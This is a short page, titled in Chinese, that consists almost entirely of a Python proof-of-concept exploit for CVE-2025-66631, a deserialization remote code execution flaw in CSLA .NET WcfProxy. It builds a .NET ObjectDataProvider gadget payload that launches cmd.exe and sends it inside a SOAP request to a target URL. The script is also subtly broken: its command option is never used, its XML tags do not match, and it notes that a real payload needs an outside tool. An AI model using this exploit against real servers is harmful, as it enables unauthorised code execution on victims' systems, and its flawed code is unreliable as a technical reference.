CVE-2025-66631: CSLA .NET WcfProxy反序列化远程代码执行漏洞

# CVE-2025-66631 PoC - CSLA .NET WcfProxy Deserialization RCE # This PoC demonstrates the deserialization vulnerability in CSLA .NET WcfProxy # Using NetDataContractSerializer with gadget chain for RCE import sys import requests import argparse from urllib.parse import urljoin import xml.etree.ElementTree as ET # Gadget chain for deserialization attack # Using well-known .NET deserialization gadgets GADGET_PAYLOAD = ''' <root> <type>System.Windows.Data.ObjectDataProvider</type> <methodName>Start</methodName> <ObjectInstance> <type>System.Diagnostics.Process</type> </ObjectInstance> <MethodParameters> <anyType xsi:type="xsd:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> cmd.exe /c whoami > C:\\Windows\\Temp\\pwned.txt </string> </MethodParameters> </root> ''' def create_malicious_serialized_data(): """Create malicious serialized data for NDCS""" # This would be the actual serialized payload # In real attack, use ysoserial.net or similar tool return GADGET_PAYLOAD def exploit_wcf_proxy(target_url, command): """Exploit the WcfProxy deserialization vulnerability""" # Prepare the malicious payload payload = create_malicious_serialized_data() # WCF SOAP request with malicious serialized data headers = { 'Content-Type': 'text/xml; charset=utf-8', 'SOAPAction': '"http://tempuri.org/IDataPortal/Fetch"' } soap_envelope = f'''<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <Fetch xmlns="http://tempuri.org/"> <objectType>MaliciousType</objectType> <criteria> <data>{payload}</data> </criteria> </Fetch> </soap:Body> </soap:Envelope>''' try: print(f"[*] Sending exploit payload to {target_url}") response = requests.post(target_url, data=soap_envelope, headers=headers, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") if response.status_code == 200: print("[+] Exploit sent successfully - check for RCE on target") else: print(f"[-] Unexpected response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-66631 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-c', '--command', default='whoami', help='Command to execute') args = parser.parse_args() exploit_wcf_proxy(args.target, args.command)